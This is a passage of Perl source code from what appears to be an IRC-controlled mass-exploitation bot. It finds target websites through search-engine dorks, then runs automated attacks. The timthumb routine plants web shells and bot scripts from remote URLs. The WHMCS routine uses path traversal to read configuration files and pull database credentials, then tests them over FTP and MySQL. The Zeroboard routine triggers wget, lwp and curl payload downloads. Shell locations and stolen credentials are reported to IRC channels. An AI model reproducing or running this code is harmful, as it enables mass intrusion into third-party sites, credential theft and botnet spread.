  1144. my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
  1145. }
  1146.  
  1147. sub thumb_exploit() {
  1148.     my $chan = $_[0];
  1149.     my $bug = $_[1];
  1150.     my $simpan = $_[2];
  1151.     my $dork = $_[3];
  1152.     my $engine = $_[4];
  1153.     my $count = 0;
  1154.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  1155.     my $num = scalar(@totexploit);
  1156.     if ($num > 0){
  1157.         foreach my $site(@totexploit){
  1158.             $count++;
  1159.             my $vuln = "http://".$site.$bug."?src=".$thumbshell;
  1160.             my $botis = "http://".$site.$bug."?src=".$botid;
  1161.             my $botxc = "http://".$site.$bug."?src=".$botxid;
  1162.             if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1163.                 my @nbug = split(/\//,$bug);
  1164.                 my $cek  = &get_content($vuln);sleep(1);
  1165.                 if ($cek =~ /Unable to open image(.*?)$nbug[0](.*?)$md5php/i){
  1166.                     &msg("$chan","$thumblogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1167.                     my $pdir = $2;
  1168.                     if ($spreadMode == 1) { &get_content($botis); &get_content($botxc);sleep(1); }
  1169.                     my $crut = "http://".$site.$nbug[0].$pdir.$md5php;
  1170.                     my $botc = "http://".$site.$nbug[0].$pdir.$md5bot;
  1171.                     my $botpc = "http://".$site.$nbug[0].$pdir.$md5botx;
  1172.                     my $npath = "http://".$site."/wp-includes/wp-script.php";
  1173.                     my $check = &get_content($crut."?clone");sleep(1);
  1174.                     if ($check =~ /GIF89a/i){
  1175.                         my $safe = ""; my $os = ""; my $uid = "";
  1176.                         if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  1177.                         if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1178.                         if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1179.                         my $crot = &get_content($npath);sleep(1);
  1180.                         if ($crot =~ /GIF89a/i){
  1181.                             &msg("$admin","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1182.                             &msg("$chan","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1183.                         } else {
  1184.                             &msg("$admin","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1185.                             &msg("$chan","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1186.                         }
  1187.                         &get_content($botc);sleep(1);
  1188.                         &get_content($botpc);sleep(1);
  1189.                     }
  1190.                 }
  1191.             } exit; }
  1192.         if ($count == $num-1) { &msg("$chan","$thumblogo15$engine 9Finished 15for 9$dork "); }
  1193.         }
  1194.     }
  1195. }
  1196.  
  1197. sub whmcs_exploit() {
  1198.     my $chan = $_[0];
  1199.     my $bug = $_[1];
  1200.     my $simpan = $_[2];
  1201.     my $dork = $_[3];
  1202.     my $engine = $_[4];
  1203.     my $count = 0;
  1204.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$whmcslogo);
  1205.     my $num = scalar(@totexploit);
  1206.     if ($num > 0){
  1207.         foreach my $site(@totexploit){
  1208.         $count++;
  1209.         if ($count == $num-1) { &msg("$chan","$whmcslogo15$engine 9Finished 15for 9$dork "); }
  1210.             my $test1 = "http://".$site.$bug."../../../configuration.php%00";
  1211.             my $submit = "http://".$site.$subticket;
  1212.             if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1213.             my $html = &get_content($test1);
  1214.             if ($html =~ /db_host/i) {
  1215.             my $userpass = &getUserPass($html); sleep(2);
  1216.             my $info = &getinfo($html); sleep(2);
  1217.                 &msg("$chaninfo","$whmcslogo15$engine 4<9=4>9 info 15[ 9http://".$site."15 ] 9$info");
  1218.             my $lulz = "http://".$site;
  1219.             my $user = ""; my $pass = ""; my $user2 = ""; my $pass2 = ""; my $dtbs2 = "";
  1220.             if($lulz =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  1221.                 my $host = $2;
  1222.                 my @ftpu = split(":Viva-Byroe.Net:", $userpass);
  1223.                 my @dbic = split(":Viva-Byroe.Net:", $info);
  1224.                 $user = $ftpu[0]; $pass = $ftpu[1];
  1225.                 $user2 = $dbic[0]; $pass2 = $dbic[1]; $dtbs2 = $dbic[2];
  1226.                 my $ftpstat = "";
  1227.                     if($user =~ /_/) { @userz = split("_", $user); $user = $userz[0];}
  1228.                         &ftp_connect($test1,$host,$user,$pass,$chan,$engine,$whmcslogo);sleep(1);
  1229.                         &dbi_connect($host,$user2,$pass2,$dtbs2,$chan,$engine,$whmcslogo);sleep(1);
  1230.                     }
  1231.                     my $ceksubmit = &get_content($submit);
  1232.                     if ($ceksubmit =~ /Urgency/i) {
  1233.                         &msg("$submitchan","$whmcslogo15$engine 4<9=4>9 Submit Ticket 15[9 ".$submit." 15]"); sleep(2);
  1234.                     my $uploader = "http://".$site."/downloads/indexx.php";
  1235.                     my $uploader2 = "http://".$site."/templates_c/indexx.php";
  1236.                     my $cekup = &get_content($uploader);
  1237.                     my $cekup2 = &get_content($uploader2);
  1238.                     if ($cekup =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader." 15]");&msg("$admin","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader." 15]"); }
  1239.                     if ($cekup2 =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader2." 15]");&msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader2." 15]"); }
  1240.                     }
  1241.                     }
  1242.                 } exit;
  1243.             }
  1244.         }
  1245.     }
  1246. }
  1247.  
  1248. sub ftp_connect {
  1249.     my $url = $_[0];
  1250.     my $host = $_[1];
  1251.     my $user = $_[2];
  1252.     my $pass = $_[3];
  1253.     my $chan = $_[4];
  1254.     my $engine = $_[5];
  1255.     my $logo = $_[6];
  1256.     my $success = 1;
  1257.     use Net::FTP;
  1258.     my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
  1259.         $success = 0 if $ftp->login($user,$pass);
  1260.         $ftp->quit;
  1261.         if ($success == 0) {
  1262.         &msg("$chanxxx","$logo15$engine 9<4=9>9 FTP 15[ 9http://".$host." 15] [4 ".$user.":".$pass." 15]");
  1263.     }
  1264. }
  1265. sub dbi_connect () {
  1266.     my $host = $_[0];
  1267.     my $user = $_[1];
  1268.     my $pass = $_[2];
  1269.     my $dtbs = $_[3];
  1270.     my $chan = $_[4];
  1271.     my $engine = $_[5];
  1272.     my $logo = $_[6];
  1273.     my $port = "3306";
  1274.     my $platform = "mysql";
  1275.     my $dsn = "dbi:$platform:$dtbs:$host:$port";
  1276.     my $DBIconnect=  DBI->connect($dsn,$user,$pass);
  1277.         if ($DBIconnect) {
  1278.         &msg("$chanxxx","$logo15$engine 9<4=9>9 MySql 15[ 9http://".$host." 15] [4 Connected 15]");
  1279.     }
  1280. }
  1281. sub getUserPass() {
  1282.     my $string = $_[0];
  1283.     my @lol = split("\r\n", $string);
  1284.     my $pass = "";
  1285.     my $user = "";
  1286.     foreach my $line (@lol) {
  1287.         if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  1288.             $pass = $3;
  1289.         }
  1290.         if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  1291.             $user = $3;
  1292.         }
  1293.     }
  1294.     return $user.":Viva-Byroe.Net:".$pass;
  1295. }
  1296.  
  1297. sub getinfo() {
  1298.     my $string = $_[0];
  1299.     my @lol = split("\r\n", $string);
  1300.     my $pass = "";
  1301.     my $user = "";
  1302.     my $dbs = "";
  1303.     foreach my $line (@lol) {
  1304.         if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  1305.             $pass = $3;
  1306.         }
  1307.         if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  1308.             $user = $3;
  1309.         }
  1310.         if(($line =~ m/db_name(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_name(.*?)=(.*?)"(.+?)";/i)) {
  1311.             $dbs = $3;
  1312.         }
  1313.     }
  1314.     return $user.":user:".$pass.":pass:".$dbs;
  1315. }
  1316.  
  1317. sub zero_exploit() {
  1318.     my $chan = $_[0];
  1319.     my $bug = $_[1];
  1320.     my $simpan = $_[2];
  1321.     my $dork = $_[3];
  1322.     my $engine = $_[4];
  1323.     my $count = 0;
  1324.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zerologo);
  1325.     my $num = scalar(@totexploit);
  1326.     if ($num > 0){
  1327.         foreach my $site(@totexploit){
  1328.             $count++;
  1329.             if ($count == $num-1) { &msg("$chan","$zerologo15$engine 9Finished 15for 9$dork "); }
  1330.             my $coba = "http://".$site.$bug;
  1331.             if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1332.                 my $cek = &get_content($coba);sleep(1);
  1333.                 if ($cek =~ /Zeroboard/) { system("./zbc $coba 80");sleep(1);
  1334.                     my $vulner1 = "http://".$site.$action."?cmd=";
  1335.                     my $vulner2 = "http://".$site.$action.$wgetdon;
  1336.                     my $vulner3 = "http://".$site.$action.$lwpdon;
  1337.                     my $vulner4 = "http://".$site.$action.$curldon;
  1338.                     my $vuln1 = "http://".$site."/data/kekkaishi.php";
  1339.                     my $check2 = &get_content($vulner1);
  1340.                     if ($check2 =~ /Byroe Team/) {
  1341.                         if ($zerowget == 1) { my $coba1 = &get_content($vulner2);sleep(2); }
  1342.                         if ($zerolwp == 1 ) { my $coba2 = &get_content($vulner3);sleep(2); }
  1343.                         if ($zerocurl == 1) { my $coba3 = &get_content($vulner4);sleep(2); }
  1344.                         my $check1 = &get_content($vuln1);
  1345.                         if ($check1 =~ /stunshell/i) {
  1346.                             my $safe = ""; my $os = ""; my $uid = "";
  1347.                             if ($check1 =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  1348.                             if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1349.                             if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1350.                                 &msg("$admin","$zerologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$vuln1."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1351.                                 &msg("$chan","$zerologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$vuln1."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1352.                         } else {
  1353.                             &msg("$chan","$zerologo15$engine 9<4=9>9 Cek dewe 15 $vulner1 ");
  1354.                         } sleep(2);
  1355.                     }
  1356.                 }
  1357.             } exit; }
  1358.         }
  1359.     }
  1360. }
  1361.  
  1362. ##################################################################################
  1363.  
  1364. sub search_engine() {
  1365.     my (@total,@clean);
  1366.     my $chan = $_[0];
  1367.     my $bug = $_[1];
  1368.     my $dork = $_[2];
  1369.     my $engine = $_[3];
  1370.     my $logo = $_[4];
  1371.     if ($gps == 1) {
  1372.     if ($engine eq "JacKAE") { my @jackae = &jack1($dork."+site:ae"); push(@total,@jackae); }
  1373.     if ($engine eq "JacKAR") { my @jackar = &jack2($dork."+site:ar"); push(@total,@jackar); }
  1374.     if ($engine eq "JacKAT") { my @jackat = &jack3($dork."+site:at"); push(@total,@jackat); }
  1375.     if ($engine eq "JacKAU") { my @jackau = &jack4($dork."+site:au"); push(@total,@jackau); }
  1376.     if ($engine eq "JacKBR") { my @jackbr = &jack5($dork."+site:br"); push(@total,@jackbr); }
  1377.     if ($engine eq "JacKCA") { my @jackca = &jack1($dork."+site:ca"); push(@total,@jackca); }
  1378.     if ($engine eq "JacKCL") { my @jackcl = &jack2($dork."+site:cl"); push(@total,@jackcl); }
  1379.     if ($engine eq "JacKCN") { my @jackcn = &jack3($dork."+site:cn"); push(@total,@jackcn); }
  1380.     if ($engine eq "JacKCoM") { my @jackcom = &jack4($dork."+site:com"); push(@total,@jackcom); }
  1381.     if ($engine eq "JacKCZ") { my @jackcz = &jack5($dork."+site:cz"); push(@total,@jackcz); }
  1382.     if ($engine eq "JacKDE") { my @jackde = &jack1($dork."+site:de"); push(@total,@jackde); }
  1383.     if ($engine eq "JacKDK") { my @jackdk = &jack2($dork."+site:dk"); push(@total,@jackdk); }
  1384.     if ($engine eq "JacKES") { my @jackes = &jack3($dork."+site:es"); push(@total,@jackes); }
  1385.     if ($engine eq "JacKEU") { my @jackeu = &jack4($dork."+site:eu"); push(@total,@jackeu); }
  1386.     if ($engine eq "JacKFR") { my @jackfr = &jack5($dork."+site:fr"); push(@total,@jackfr); }
  1387.     if ($engine eq "JacKHU") { my @jackhu = &jack1($dork."+site:hu"); push(@total,@jackhu); }
  1388.     if ($engine eq "JacKID") { my @jackid = &jack2($dork."+site:id"); push(@total,@jackid); }
  1389.     if ($engine eq "JacKIL") { my @jackil = &jack3($dork."+site:il"); push(@total,@jackil); }
  1390.     if ($engine eq "JacKIN") { my @jackin = &jack4($dork."+site:in"); push(@total,@jackin); }
  1391.     if ($engine eq "JacKInfO") { my @jackinfo = &jack5($dork."+site:info"); push(@total,@jackinfo); }
  1392.     if ($engine eq "JacKIR") { my @jackir = &jack1($dork."+site:ir"); push(@total,@jackir); }
  1393.     if ($engine eq "JacKIT") { my @jackit = &jack2($dork."+site:it"); push(@total,@jackit); }
  1394.     if ($engine eq "JacKJP") { my @jackjp = &jack3($dork."+site:jp"); push(@total,@jackjp); }
  1395.     if ($engine eq "JacKKR") { my @jackkr = &jack4($dork."+site:kr"); push(@total,@jackkr); }
  1396.     if ($engine eq "JacKMX") { my @jackmx = &jack5($dork."+site:mx"); push(@total,@jackmx); }
  1397.     if ($engine eq "JacKMY") { my @jackmy = &jack1($dork."+site:my"); push(@total,@jackmy); }
  1398.     if ($engine eq "JacKNeT") { my @jacknet = &jack2($dork."+site:net"); push(@total,@jacknet); }
  1399.     if ($engine eq "JacKNL") { my @jacknl = &jack3($dork."+site:nl"); push(@total,@jacknl); }
  1400.     if ($engine eq "JacKOrG") { my @jackorg = &jack4($dork."+site:org"); push(@total,@jackorg); }
  1401.     if ($engine eq "JacKPH") { my @jackph = &jack5($dork."+site:ph"); push(@total,@jackph); }
  1402.     if ($engine eq "JacKPL") { my @jackpl = &jack1($dork."+site:pl"); push(@total,@jackpl); }
  1403.     if ($engine eq "JacKRO") { my @jackro = &jack2($dork."+site:ro"); push(@total,@jackro); }
  1404.     if ($engine eq "JacKRU") { my @jackru = &jack3($dork."+site:ru"); push(@total,@jackru); }
  1405.     if ($engine eq "JacKTH") { my @jackth = &jack4($dork."+site:th"); push(@total,@jackth); }
  1406.     if ($engine eq "JacKUA") { my @jackua = &jack5($dork."+site:ua"); push(@total,@jackua); }
  1407.     if ($engine eq "JacKUK") { my @jackuk = &jack1($dork."+site:uk"); push(@total,@jackuk); }
  1408.     if ($engine eq "JacKUS") { my @jackus = &jack2($dork."+site:us"); push(@total,@jackus); }
  1409.     if ($engine eq "JacKSI") { my @jacksi = &jack3($dork."+site:si"); push(@total,@jacksi); }
  1410.     if ($engine eq "JacKBE") { my @jackbe = &jack4($dork."+site:be"); push(@total,@jackbe); }
  1411.     if ($engine eq "JacKBIZ") { my @jackbiz = &jack5($dork."+site:biz"); push(@total,@jackbiz); }
  1412.     }
  1413.     if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  1414.     if ($gps2 == 1) {
  1415.     if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  1416.     if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  1417.     if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  1418.     if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  1419.     if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  1420.     if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  1421.     if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  1422.     if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  1423.     if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  1424.     if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  1425.     if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  1426.     if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  1427.     if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  1428.     }
  1429.     @clean = &clean(@total);
  1430.     if ($silentmode == 0) {
  1431.     &msg("$chan","$logo15$engine 4<9=4>9 Total:4 [15".scalar(@total)."4] 9 Clean:4 [15".scalar(@clean)."4] "); }
  1432.     return @clean;
  1433. }
  1434. ##################################################################################
  1435. sub isFound() {
  1436.     my $status = 0;
  1437.     my $link = $_[0];
  1438.     my $reqexp = $_[1];
  1439.     my $res = &get_content($link);
  1440.     if ($res =~ /$reqexp/) { $status = 1 }
  1441.     return $status;
  1442. }
  1443.  
  1444. sub get_content() {
  1445.     my $url = $_[0];
  1446.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1447.     $ua->timeout($timot);
  1448.     my $req = HTTP::Request->new(GET => $url);
  1449.     my $res = $ua->request($req);
  1450.     return $res->content;
  1451. }
  1452. ######################################### SEARCH ENGINE
  1453.  
  1454. sub jack1() {
  1455.     my @list;
  1456.     my $key = $_[0];
  1457.     for (my $i=0; $i<=1000; $i+=100){
  1458.         my $search = ($jack1.uri_escape($key)."&num=100&start=".$i);
  1459.         my $res = &search_engine_query($search);
  1460.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1461.             my $link = $1;
  1462.             if ($link !~ /google/){
  1463.                 my @grep = &links($link);
  1464.                 push(@list,@grep);
  1465.             }
  1466.         }
  1467.     }
  1468.     return @list;
  1469. }
  1470.  
  1471. sub jack2() {
  1472.     my @list;
  1473.     my $key = $_[0];
  1474.     for (my $i=0; $i<=1000; $i+=100){
  1475.         my $search = ($jack2.uri_escape($key)."&num=100&start=".$i);
  1476.         my $res = &search_engine_query($search);
  1477.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1478.             my $link = $1;
  1479.             if ($link !~ /google/){
  1480.                 my @grep = &links($link);
  1481.                 push(@list,@grep);
  1482.             }
  1483.         }
  1484.     }
  1485.     return @list;
  1486. }
  1487.  
  1488. sub jack3() {
  1489.     my @list;
  1490.     my $key = $_[0];
  1491.     for (my $i=0; $i<=1000; $i+=100){
  1492.         my $search = ($jack3.uri_escape($key)."&num=100&start=".$i);
  1493.         my $res = &search_engine_query($search);
  1494.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1495.             my $link = $1;
  1496.             if ($link !~ /google/){
  1497.                 my @grep = &links($link);
  1498.                 push(@list,@grep);
  1499.             }
  1500.         }
  1501.     }
  1502.     return @list;
  1503. }
  1504.  
  1505. sub jack4() {
  1506.     my @list;
  1507.     my $key = $_[0];
  1508.     for (my $i=0; $i<=1000; $i+=100){
  1509.         my $search = ($jack4.uri_escape($key)."&num=100&start=".$i);
  1510.         my $res = &search_engine_query($search);
  1511.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1512.             my $link = $1;
  1513.             if ($link !~ /google/){
  1514.                 my @grep = &links($link);
  1515.                 push(@list,@grep);
  1516.             }
  1517.         }
  1518.     }
  1519.     return @list;
  1520. }
  1521.  
  1522. sub jack5() {
  1523.     my @list;
  1524.     my $key = $_[0];
  1525.     for (my $i=0; $i<=1000; $i+=100){
  1526.         my $search = ($jack5.uri_escape($key)."&num=100&start=".$i);
  1527.         my $res = &search_engine_query($search);
  1528.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1529.             my $link = $1;
  1530.             if ($link !~ /google/){
  1531.                 my @grep = &links($link);
  1532.                 push(@list,@grep);
  1533.             }
  1534.         }
  1535.     }
  1536.     return @list;
  1537. }
  1538.  
  1539. sub google() {
  1540.     my @list;
  1541.     my $key = $_[0];
  1542.     for (my $i=0; $i<=1000; $i+=100){
  1543.         my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
  1544.         my $res = &search_engine_query($search);
  1545.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1546.             my $link = $1;
  1547.             if ($link !~ /google/){
  1548.                 my @grep = &links($link);
  1549.                 push(@list,@grep);
  1550.             }
  1551.         }
  1552.     }
  1553.     return @list;
  1554. }
  1555.  
  1556. sub walla() {
  1557.     my @list;
  1558.     my $key = $_[0];
  1559.     for ($b=0; $b<=100; $b+=1) {
  1560.         my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  1561.         my $res = &search_engine_query($search);
  1562.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  1563.             my $link = $1;
  1564.             if ($link !~ /walla\.co\.il/){
  1565.                 my @grep = &links($link);
  1566.                 push(@list,@grep);
  1567.             }
  1568.         }
  1569.     }
  1570.     return @list;
  1571. }
  1572.  
  1573. sub yahoo(){
  1574.     my @list;
  1575.     my $key = $_[0];
  1576.     for ($b=1; $b<=1000; $b+=10) {
  1577.         my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  1578.         my $res = &search_engine_query($search);
  1579.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  1580.             my $link = $1;
  1581.             if ($link !~ /yahoo\.com/){
  1582.                 my @grep = &links($link);
  1583.                 push(@list,@grep);
  1584.             }
  1585.         }
  1586.     }
  1587.     return @list;
  1588. }
  1589.  
  1590. sub ask() {
  1591.     my @list;
  1592.     my $key = $_[0];
  1593.     for (my $i=1; $i<=1000; $i+=100) {
  1594.         my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  1595.         my $res = &search_engine_query($search);
  1596.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  1597.             my $link = $1;
  1598.             if ($link !~ /ask\.com/){
  1599.                 my @grep = &links($link);
  1600.                 push(@list,@grep);
  1601.             }
  1602.         }
  1603.     }
  1604.     return @list;
  1605. }
  1606.  
  1607. sub onet() {
  1608.     my @list;
  1609.     my $key = $_[0];
  1610.     my $b   = 0;
  1611.     for ($b=1; $b<=400; $b+=10) {
  1612.         my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  1613.         my $res = &search_engine_query($search);
  1614.         while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  1615.             my $link = $1;
  1616.             if ($link !~ /onet|webcache|query/){
  1617.                 my @grep = &links($link);
  1618.                 push(@list,@grep);
  1619.             }
  1620.         }
  1621.     }
  1622.     return @list;
  1623. }
  1624.  
  1625. sub clusty() {
  1626.     my @list;
  1627.     my $key = $_[0];
  1628.     my $b   = 0;
  1629.     for ($b=10; $b<=200; $b+=10) {
  1630.         my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  1631.         my $res = &search_engine_query($search);
  1632.         if ($res !~ /next/) {$b=100;}
  1633.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1634.             my $link = $1;
  1635.             if ($1 !~ /yippy\.com/){
  1636.                 my @grep = &links($link);
  1637.                 push(@list,@grep);
  1638.             }
  1639.         }
  1640.     }
  1641.     return @list;
  1642. }
  1643.  
  1644. sub bing() {
  1645.     my @list;
  1646.     my $key = $_[0];
  1647.     for (my $i=1; $i<=400; $i+=10) {
  1648.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  1649.         my $res = &search_engine_query($search);
  1650.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  1651.             my $link = $1;
  1652.             if ($link !~ /google/) {
  1653.                 my @grep = &links($link);
  1654.                 push(@list,@grep);
  1655.             }
  1656.         }
  1657.     }
  1658.     return @list;
  1659. }
  1660.  
  1661. sub sapo(){
  1662.     my @list;
  1663.     my $key = $_[0];
  1664.     for ($b=1; $b<=50; $b+=1) {
  1665.         my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  1666.         my $res = &search_engine_query($search);
  1667.         if ($res !~ m/Next/i) {$b=50;}
  1668.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1669.             my $link = $1;
  1670.             if ($1 !~ /\.sapo\.pt/){
  1671.                 my @grep = &links($link);
  1672.                 push(@list,@grep);
  1673.             }
  1674.         }
  1675.     }
  1676.     return @list;
  1677. }
  1678.  
  1679. sub lycos() {
  1680.   my @list;
  1681.   my $key = $_[0];
  1682.     for ($b=0; $b<=50; $b+=1) {
  1683.         my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  1684.         my $res = &search_engine_query($search);
  1685.         while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  1686.             my $link = $1;
  1687.             if ($link !~ /lycos\.com/){
  1688.                 my @grep = &links($link);
  1689.                 push(@list,@grep);
  1690.             }
  1691.         }
  1692.     }
  1693.     return @list;  
  1694. }
  1695.  
  1696. sub uol() {
  1697.     my @list;
  1698.     my $key = $_[0];
  1699.     for ($b=0; $b<=1000; $b+=10) {
  1700.         my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  1701.         my $res = &search_engine_query($search);
  1702.         if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  1703.         while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  1704.             my $link = $1;
  1705.             if ($link !~ /uol\.com\.br|\/web/i){
  1706.                 my @grep = &links($link);
  1707.                 push(@list,@grep);
  1708.             }
  1709.         }
  1710.     }
  1711.     return @list;
  1712. }
  1713.  
  1714. sub seznam() {
  1715.     my @list;
  1716.     my $key = $_[0];
  1717.     for ($b=1; $b<=300; $b+=20) {
  1718.         my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  1719.         my $res = &search_engine_query($search);
  1720.         while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  1721.             my $link = $1;
  1722.             if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  1723.                 my @grep = &links($link);
  1724.                 push(@list,@grep);
  1725.             }
  1726.         }
  1727.     }
  1728.     return @list;
  1729. }
  1730.  
  1731. sub hotbot() {
  1732.   my @list;
  1733.   my $key = $_[0];
  1734.     for ($b=0; $b<=50; $b+=1) {
  1735.         my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  1736.         my $res = &search_engine_query($search);
  1737.         if ($res =~ m/had no web result/i) {$b=50;}
  1738.         while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  1739.             my $link = $1;
  1740.             if ($link !~ /hotbot\.com/){
  1741.                 my @grep = &links($link);
  1742.                 push(@list,@grep);
  1743.             }
  1744.         }
  1745.     }
  1746.     return @list;  
  1747. }
  1748.  
  1749. sub aol() {
  1750.     my @list;
  1751.     my $key = $_[0];
  1752.     for ($b=0; $b<=300; $b+=10) {
  1753.         my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  1754.         my $res = &search_engine_query($search);
  1755.         while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1756.             my $link = $1;
  1757.             if ($link !~ /aol\.com/){
  1758.                 my @grep = &links($link);
  1759.                 push(@list,@grep);
  1760.             }
  1761.         }
  1762.     }
  1763.     return @list;
  1764. }
  1765.  
  1766. sub biglobe {
  1767.   my $key = $_[0];
  1768.   my @list;
  1769.   for ($b=1; $b<=500; $b+=10) {
  1770.     $num += $num;
  1771.     my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  1772.     my $res = &search_engine_query($search);
  1773.     while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  1774.         my $link = $1;
  1775.         if ($link !~ /biglobe/){
  1776.                 my @grep = &links($link);
  1777.                 push(@list,@grep);
  1778.             }
  1779.         }
  1780.     }
  1781.     return @list;
  1782. }
  1783.  
  1784. #########################################
  1785.  
  1786. sub clean() {
  1787.     my @cln = ();
  1788.     my %visit = ();
  1789.     foreach my $element (@_) {
  1790.         $element =~ s/\/+/\//g;
  1791.         next if $visit{$element}++;
  1792.         push @cln, $element;
  1793.     }
  1794.     return @cln;
  1795. }
  1796.  
  1797. sub links() {
  1798.     my @list;
  1799.     my $link = $_[0];
  1800.     my $host = $_[0];
  1801.     my $hdir = $_[0];
